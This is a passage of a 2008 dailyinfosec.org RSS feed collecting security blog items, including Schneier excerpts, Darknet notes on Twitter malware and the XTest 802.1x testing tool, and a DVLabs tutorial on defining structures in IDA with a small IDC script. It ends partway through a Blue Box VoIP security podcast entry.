<?xml version="1.0"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">

<channel>
	<title>dailyinfosec.org</title>
	<link>http://www.dailyinfosec.org/</link>
	<language>en</language>
	<description>dailyinfosec.org - http://www.dailyinfosec.org/</description>

<item>
	<title>Blogs - Schneier On Security: Using Shredded Checks as Packaging Material</title>
	<guid>http://www.schneier.com/blog/archives/2008/09/using_shredded.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/09/using_shredded.html</link>
	<description>This seems like a really dumb idea....&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=yj3OL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=yj3OL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Fri, 05 Sep 2008 12:00:02 +0000</pubDate>
</item>
<item>
	<title>Blogs - Darknet: Twitter Targeted by Malware Distributors</title>
	<guid>http://www.darknet.org.uk/?p=995</guid>
	<link>http://www.darknet.org.uk/2008/09/twitter-targeted-by-malware-distributors/</link>
	<description>This one is of interest to me as I do actually use Twitter as a microblogging service and to keep up with what various friends are up to.
It&amp;#8217;s quite an interesting wep app especially paired with something like Twitterfox in your browser and Twibble in your mobile phone.
It must have made it big now though [...]&lt;br /&gt;
&lt;br /&gt;
Read the full post at darknet.org.uk
&lt;p&gt;&lt;a href=&quot;http://feeds.feedburner.com/~a/darknethackers?a=4AT1Wi&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~a/darknethackers?i=4AT1Wi&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=q1jSL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=q1jSL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=WuZlL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=WuZlL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=wBsbl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=wBsbl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Fri, 05 Sep 2008 07:15:11 +0000</pubDate>
	<dc:creator>Darknet</dc:creator>
</item>
<item>
	<title>Blogs - Schneier On Security: Privacy Policies: Perception vs. Reality</title>
	<guid>http://www.schneier.com/blog/archives/2008/09/privacy_policie.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/09/privacy_policie.html</link>
	<description>New paper: &quot;What Californians Understand About Privacy Online,&quot; by Chris Jay Hoofnagle and Jennifer King. From the abstract: A gulf exists between California consumers' understanding of online rules and common business practices. For instance, Californians who shop online believe that privacy policies prohibit third-party information sharing. A majority of Californians believes that privacy policies create the right to require a...&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=Mtv26L&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=Mtv26L&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Thu, 04 Sep 2008 19:15:54 +0000</pubDate>
</item>
<item>
	<title>Research - DVLabs: MindshaRE: Using Structures</title>
	<guid>http://feeds.feedburner.com/~r/dvlabsblog/~3/383489302/mindshare-using-structures</guid>
	<link>http://feeds.feedburner.com/~r/dvlabsblog/~3/383489302/mindshare-using-structures</link>
	<description>Posted by Cody Pierce&lt;br /&gt;This week on MindshaRE we take a quick look at structures. I often see new reverse engineers skipping the creation of structures they encounter when disassembling a binary. While it is true that they can be slightly time consuming to create, the payoff in the end can far outweigh the minimal time investment. The biggest benefit will be during such things as OO method invocation, file format parsing, or packet tracing.&amp;nbsp; Hopefully the examples I have will convince you to spend those extra 20 minutes defining clean structures next time you run across them in a binary.&lt;br /&gt;&lt;br /&gt;MindshaRE is our weekly look at some simple reverse engineering tips and tricks. The goal is to keep things small and discuss every day aspects of reversing. You can view previous entries here by going through our blog history.&lt;br /&gt;&lt;br /&gt;Everyone knows what a structure is.&amp;nbsp; A defined container for structured data that will be programmatically accessed.&amp;nbsp; In a higher level language access to these elements is typically by name, for instance sk_buff-&amp;gt;len.&amp;nbsp; However, in assembly, we have to use an offset from the start of the structure.&amp;nbsp; This may be where new reverse engineers go cross-eyed. It's easy to understand that accessing sk_buff-&amp;gt;len gets the length of the packet data in our structure.&amp;nbsp; But when you encounter &quot;mov eax, dword ptr [ebx+30h]&quot; things may get a little confusing (Note: I didn't look up the actual offset for sk_buff-&amp;gt;len). No need to fret though, assembly can be much easier to understand if we spend time defining structures, and their members, into a more readable form.&lt;br /&gt;&lt;br /&gt;First, lets look at the structures window in IDA (Shift+F9).&amp;nbsp; Opening that up doesn't look to inviting, sans some help text.&amp;nbsp; Here is what you probably see.&lt;br /&gt;&lt;pre&gt;&amp;nbsp;; Ins/Del : create/delete structure&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;; D/A/*&amp;nbsp;&amp;nbsp; : create structure member (data/ascii/array)&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;; N&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : rename structure or structure member&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;; U&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : delete structure member&lt;/pre&gt;If you have loaded symbols you may have some additional structures listed, but in general this window is empty when disassembling a new binary.&amp;nbsp; The commands should be straight forward.&amp;nbsp; When we want a new structure we use Ins/Del (Sorry Apple laptops!) to create it.&amp;nbsp; Doing so will ask us for a name.&amp;nbsp; There also exist some extra options like &quot;Create before current structure&quot; and &quot;Don't include in the list&quot; which are useful, but in most cases will not be needed.&lt;br /&gt;&lt;br /&gt;Before we finish with this window by hitting &quot;OK&quot; click the &quot;Add standard structure&quot; button.&amp;nbsp; A slew of important data structures should populate the window.&amp;nbsp; The almost 10k structures listed are for common structures that occur in various SDK's like the Windows Platform SDK.&amp;nbsp; Choosing one of the structures will automatically add it, and all of its associated members which can be extremely helpful. You can experiment with these later, for now hit &quot;Cancel&quot; and create your new structure. You should get the following.&lt;br /&gt;&lt;pre&gt;00000000 example&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struc ; (sizeof=0x0)&lt;/pre&gt;&lt;pre&gt;00000000 example&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ends&lt;/pre&gt;This is our empty structure.&amp;nbsp; Not very exciting, so lets add a member. Clicking the top of the example structure and hitting &quot;D&quot; gives us a new field, or member.&amp;nbsp; The default size of newly created members/fields is one byte.&amp;nbsp; We can easily change this by selecting the field, and hitting &quot;D&quot; again.&amp;nbsp; Just like working with data in the disassembly window, repeated &quot;D&quot; keystrokes will cycle this between the supported data types (Byte, Word, Dword).&amp;nbsp; Also notice the size of the structure will update accordingly.&amp;nbsp; Let's add a few more just for fun.&amp;nbsp; Here's mine.&lt;br /&gt;&lt;pre&gt;00000000 example&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struc ; (sizeof=0x10)&lt;/pre&gt;&lt;pre&gt;00000000 field_0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dd ?&lt;/pre&gt;&lt;pre&gt;00000004 field_4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dd ?&lt;/pre&gt;&lt;pre&gt;00000008 field_8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dd ?&lt;/pre&gt;&lt;pre&gt;0000000C field_C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db ?&lt;/pre&gt;&lt;pre&gt;0000000D field_D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db ?&lt;/pre&gt;&lt;pre&gt;0000000E field_E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db ?&lt;/pre&gt;&lt;pre&gt;0000000F field_F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db ?&lt;/pre&gt;&lt;pre&gt;00000010 example&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ends&lt;/pre&gt;The automatic naming of members is handy.&amp;nbsp; As you can see they are named according to their offset as well.&amp;nbsp; For instance field_4 will be &quot;example+4&quot; in assembly.&amp;nbsp; Let's say that through our reversing efforts we know that example+4 is a dword containing a type.&amp;nbsp; We can change this name and get that much closer to a readable structure we can use in our disassembly. To achieve this highlight field_4 and hit &quot;N&quot;.&amp;nbsp; This brings up a name window.&amp;nbsp; Let's put in &quot;type&quot; for the name.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;00000000 example&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struc ; (sizeof=0x10)&lt;/pre&gt;&lt;pre&gt;00000000 field_0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dd ?&lt;/pre&gt;&lt;pre&gt;00000004 type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dd ?&lt;/pre&gt;&lt;pre&gt;00000008 field_8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dd ?&lt;/pre&gt;&lt;pre&gt;0000000C field_C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db ?&lt;/pre&gt;&lt;pre&gt;0000000D field_D&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db ?&lt;/pre&gt;&lt;pre&gt;0000000E field_E&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db ?&lt;/pre&gt;&lt;pre&gt;0000000F field_F&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; db ?&lt;/pre&gt;&lt;pre&gt;00000010 example&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ends&lt;/pre&gt;&lt;br /&gt;Fine. We have a structure represented in our structures window.&amp;nbsp; Now we must use it. One of the most important things to keep in mind when we start to use these structures is to be certain we are applying them correctly.&amp;nbsp; It does you zero good to apply this example struct to something that is actually an exception handler structure.&amp;nbsp; Let's pretend this assembly snippet is accessing our newly created structure.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;.text:01004130&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [eax+4]&lt;/pre&gt;&lt;pre&gt;.text:01004133&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _createnum&lt;/pre&gt;&lt;br /&gt;This is typical structure access.&amp;nbsp; Without applying a type to it the argument seems ambiguous.&amp;nbsp; Let's fix that by highlighting the offset &quot;4&quot; in &quot;eax+4&quot; and hitting &quot;T&quot;.&amp;nbsp; This brings up our defined structures.&amp;nbsp; You should see the following.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://feeds.feedburner.com/pub/cpierce/structure_offset.jpg&quot; /&gt;&lt;br /&gt;&lt;br /&gt;Selecting our example.type member will convert the meaningless &quot;eax+4&quot; into the easily readable assembly below.&lt;br /&gt;&lt;pre&gt;.text:01004130&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; [eax+example.type]&lt;/pre&gt;&lt;pre&gt;.text:01004133&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; _createnum&lt;/pre&gt;Creating and applying structures may seem tedious.&amp;nbsp; But I promise it will make your life much easier when you start applying your newly created structures to your binary. Creating structures can indeed get overwhelming when dealing with large structures.&amp;nbsp; For instance, creating a structure with over 30 members by hand is a nightmare.&amp;nbsp; In this case we can automate the task.&lt;br /&gt;&lt;pre&gt;#include &amp;lt;idc.idc&amp;gt;&lt;/pre&gt;&lt;pre&gt;&lt;br /&gt;static main()&lt;/pre&gt;&lt;pre&gt;{&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; auto id, rc;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; auto i, count;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; auto sname, oname;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sname = AskStr(&quot;user_struct&quot;, &quot;Structure name&quot;);&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; count = AskLong(64, &quot;Number of dword sized members&quot;) / 4;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; id = AddStrucEx(-1, sname, 0);&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (i=0; i &amp;lt;= count; i++)&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; oname = &quot;field_&quot; + ltoa(i * 4, 16);&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rc = AddStrucMember(id, oname, i*4, 0x20000400, -1, 4);&lt;/pre&gt;&lt;pre&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/pre&gt;&lt;pre&gt;}&lt;/pre&gt;Running this will create a structure with your name and number of dword elements.&amp;nbsp; Writing IDC scripts to define structures can be very powerful.&amp;nbsp; Lets take another look at a more complex example combining all of these techniques.&lt;br /&gt;&lt;br /&gt;Adobe Acrobat's plugin architecture makes extensive use of structures in the form of classes.&amp;nbsp; Taking a look at the assembly will give you nightmares at night if you do not define and apply structure labels.&amp;nbsp; Take a look at a small example.&lt;br /&gt;&lt;pre&gt;.text:23834076&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esi, dword_239345BC&lt;/pre&gt;&lt;pre&gt;.text:2383407C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, dword_2393459C&lt;/pre&gt;&lt;pre&gt;.text:23834081&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esi, 18h&lt;/pre&gt;&lt;pre&gt;.text:23834084&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [eax+600h]&lt;/pre&gt;&lt;pre&gt;...&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/pre&gt;&lt;pre&gt;.text:238340A7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; movzx&amp;nbsp;&amp;nbsp; eax, ax&lt;/pre&gt;&lt;pre&gt;.text:238340AA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [ebp+var_4], eax&lt;/pre&gt;&lt;pre&gt;.text:238340AD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, dword_239345BC&lt;/pre&gt;&lt;pre&gt;.text:238340B2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&lt;/pre&gt;&lt;pre&gt;.text:238340B3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [eax+30h]&lt;/pre&gt;&lt;pre&gt;.text:238340B6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esp, 24h&lt;/pre&gt;&lt;pre&gt;.text:238340B9&lt;/pre&gt;&lt;pre&gt;.text:238340B9 loc_238340B9:&lt;/pre&gt;&lt;pre&gt;.text:238340B9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, dword_23934560&lt;/pre&gt;&lt;pre&gt;.text:238340BE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; dword ptr [eax+0Ch]&lt;/pre&gt;With nothing labeled this is nonsense.&amp;nbsp; Fixing up the names and adding structures gives us the following.&lt;br /&gt;&lt;pre&gt;.text:23834076&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esi, pASExtraHFT&lt;/pre&gt;&lt;pre&gt;.text:2383407C&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, pAcroViewHFT&lt;/pre&gt;&lt;pre&gt;.text:23834081&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esi, 18h&lt;/pre&gt;&lt;pre&gt;.text:23834084&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; [eax+s_acroviewHFT.AVAppGetLanguageEncoding] ; AVProcs.h&lt;/pre&gt;&lt;pre&gt;...&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/pre&gt;&lt;pre&gt;.text:238340A7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; movzx&amp;nbsp;&amp;nbsp; eax, ax&lt;/pre&gt;&lt;pre&gt;.text:238340AA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [ebp+var_4], eax&lt;/pre&gt;&lt;pre&gt;.text:238340AD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, pASExtraHFT&lt;/pre&gt;&lt;pre&gt;.text:238340B2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&lt;/pre&gt;&lt;pre&gt;.text:238340B3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; [eax+s_asextraHFT.ASTextDestroy] ; ASExtraProcs.h&lt;/pre&gt;&lt;pre&gt;.text:238340B6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; esp, 24h&lt;/pre&gt;&lt;pre&gt;.text:238340B9&lt;/pre&gt;&lt;pre&gt;.text:238340B9 loc_238340B9:&lt;/pre&gt;&lt;pre&gt;.text:238340B9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, pCoreHFT&lt;/pre&gt;&lt;pre&gt;.text:238340BE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call&amp;nbsp;&amp;nbsp;&amp;nbsp; [eax+s_coreHFT.ACPopExceptionFrame] ; AcroRd32.ACPopExceptionFrame&lt;/pre&gt;Much better.&amp;nbsp; We can now focus on what this function is doing, instead of the methods it is invoking.&amp;nbsp; Also notice when we apply a name we get a comment inserted.&amp;nbsp; You can do this by adding comments to members in your defined structure. All of these names were automatically added to the IDB via a script.&amp;nbsp; A little research and work before reversing has saved countless hours.&lt;br /&gt;&lt;br /&gt;There are many other facets to adding and using structures.&amp;nbsp; I have touched on their basic usage.&amp;nbsp; Try to play around with creating structures and applying them to your IDB.&amp;nbsp; I cant stress enough how important it is when getting into larger projects.&amp;nbsp; Hope this gave you a good starting point.&lt;br /&gt;&lt;br /&gt;-Cody&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[UPDATE]&lt;/b&gt; I uploaded the &lt;a href=&quot;http://feeds.feedburner.com/pub/cpierce/vt2st.idc&quot;&gt;vt2st.idc&lt;/a&gt; IDC script that &lt;a href=&quot;http://feeds.feedburner.com/team/arizvi&quot;&gt;Ali&lt;/a&gt; mentioned below in the comments.&lt;br /&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/dvlabsblog/~4/383489302&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Thu, 04 Sep 2008 18:36:25 +0000</pubDate>
</item>
<item>
	<title>Blogs - Schneier On Security: Movie Plot Threats in The Guardian</title>
	<guid>http://www.schneier.com/blog/archives/2008/09/movie_plot_thre_2.html</guid>
	<link>http://www.schneier.com/blog/archives/2008/09/movie_plot_thre_2.html</link>
	<description>We spend far more effort defending our countries against specific movie-plot threats, rather than the real, broad threats. In the US during the months after the 9/11 attacks, we feared terrorists with scuba gear, terrorists with crop dusters and terrorists contaminating our milk supply. Both the UK and the US fear terrorists with small bottles of liquid. Our imaginations run...&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?a=Q6uZGL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/schneier/excerpts?i=Q6uZGL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Thu, 04 Sep 2008 11:56:57 +0000</pubDate>
</item>
<item>
	<title>Blogs - Darknet: XTest - VoIP Infrastructure Security Testing Tool</title>
	<guid>http://www.darknet.org.uk/?p=993</guid>
	<link>http://www.darknet.org.uk/2008/09/xtest-voip-infrastructure-security-testing-tool/</link>
	<description>What is XTest?
XTest is a simple, practical, and free, wired 802.1x supplicant security tool implementing the RFC 3847 EAP-MD5 Authentication method. It can be used to assess the password strength within wired ethernet environments that rely on 802.1x to protect IP Phones and the VoIP Infrastructure against rogue PC access. XTest is developed in C...&lt;br /&gt;
&lt;br /&gt;
Read the full post at darknet.org.uk
&lt;p&gt;&lt;a href=&quot;http://feeds.feedburner.com/~a/darknethackers?a=dpWP0Z&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~a/darknethackers?i=dpWP0Z&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=XJiPuL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=XJiPuL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=p6hzPL&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=p6hzPL&quot; border=&quot;0&quot; /&gt;&lt;/a&gt; &lt;a href=&quot;http://feeds.feedburner.com/~f/darknethackers?a=1Ee4Vl&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~f/darknethackers?i=1Ee4Vl&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;</description>
	<pubDate>Thu, 04 Sep 2008 05:39:32 +0000</pubDate>
	<dc:creator>Darknet</dc:creator>
</item>
<item>
	<title>Podcasts - Blue Box: Blue Box SE#026 - Astricon 2007 presentation on VoIP security and Asterisk</title>
	<guid>tag:typepad.com,2003:post-55099816</guid>
	<link>http://feeds.feedburner.com/~r/BlueBox/~3/382765294/blue-box-se026.html</link>
	<description>&lt;div&gt;&lt;p&gt;&lt;strong&gt;Synopsis:&lt;/strong&gt;&amp;nbsp; Blue Box Special Edition #26: Astricon 2007 presentation - &amp;quot;Hacking and Attacking VoIP Systems: What you need to worry about&amp;quot;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Welcome to &lt;strong&gt;Blue Box: The VoIP Security Podcast&lt;/strong&gt; Special Edition #26, a 55-minute podcast&amp;nbsp; from Dan York and Jonathan Zar covering VoIP security news, comments and opinions.&amp;nbsp; &amp;nbsp; &lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://media.libsyn.com/media/lodestar/BBP-SE026-Astricon2007-VoIPSecurity.mp3&quot; rel=&quot;enclosure&quot;&gt;Download the show here&lt;/a&gt; (MP3, 6MB) or &lt;a href=&quot;http://feeds.feedburner.com/BlueBox&quot;&gt;subscribe to the RSS feed&lt;/a&gt; to download the show automatically.&amp;nbsp; &lt;/p&gt;

&lt;p&gt;You may also listen to this podcast right now:&lt;/p&gt; 

&lt;p&gt; &lt;/p&gt; 

&lt;p&gt;&lt;strong&gt;Show Content:&lt;/strong&gt;&lt;/p&gt; 
&lt;p&gt;A year ago in September 2007, I (Dan York) spoke at Astricon 2007 in Arizona, USA, about &amp;quot;Hacking and Attacking VoIP Systems: What You Need To Worry About&amp;quot; My presentation covered a lot of the typical VoIP security threats, tools and best practices but also expanded a bit into specific security issues with Asterisk.&amp;nbsp; Please do keep in mind that it has been a year since this presentation and so some of the issues I mention have been addressed. (&lt;a href=&quot;http://www.astricon.net/&quot;&gt;Astricon&lt;/a&gt;, for those who don't know, is an annual developer conference for those who work with the &lt;a href=&quot;http://www.asterisk.org/&quot;&gt;Asterisk open source telephony platform&lt;/a&gt;. Astricon 2008 is, in fact, coming up in about 3 weeks but I will not be attending this year.)
&lt;/p&gt;

&lt;p&gt;The slides for this talk &lt;a href=&quot;http://www.slideshare.net/danyork/hacking-and-attacking-voip-systems-what-you-need-to-know/&quot;&gt;are available from Slideshare&lt;/a&gt;:
&lt;/p&gt;



&lt;div id=&quot;__ss_178451&quot;&gt;&lt;a title=&quot;Hacking and Attacking VoIP Systems - What You Need To Know&quot; href=&quot;http://www.slideshare.net/danyork/hacking-and-attacking-voip-systems-what-you-need-to-know?src=embed&quot;&gt;Hacking and Attacking VoIP Systems - What You Need To Know&lt;/a&gt;&lt;div&gt;View SlideShare &lt;a title=&quot;View Hacking and Attacking VoIP Systems - What You Need To Know on SlideShare&quot; href=&quot;http://www.slideshare.net/danyork/hacking-and-attacking-voip-systems-what-you-need-to-know?src=embed&quot;&gt;presentation&lt;/a&gt; or &lt;a href=&quot;http://www.slideshare.net/upload?src=embed&quot;&gt;Upload&lt;/a&gt; your own. (tags: &lt;a href=&quot;http://slideshare.net/tag/voip&quot;&gt;voip&lt;/a&gt; &lt;a href=&quot;http://slideshare.net/tag/voipsecurity&quot;&gt;voipsecurity&lt;/a&gt;)&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;(And yes, at some point I'll sync the audio with the slides.)&lt;/em&gt;
&lt;/p&gt;

&lt;p&gt;Production assistance on this Special Edition was provided by Michael Graves who had a very tough task given the poor quality of the recording that I gave to him!&amp;nbsp; Kudos to Michael for getting it to sound as good as it does.

&lt;/p&gt;

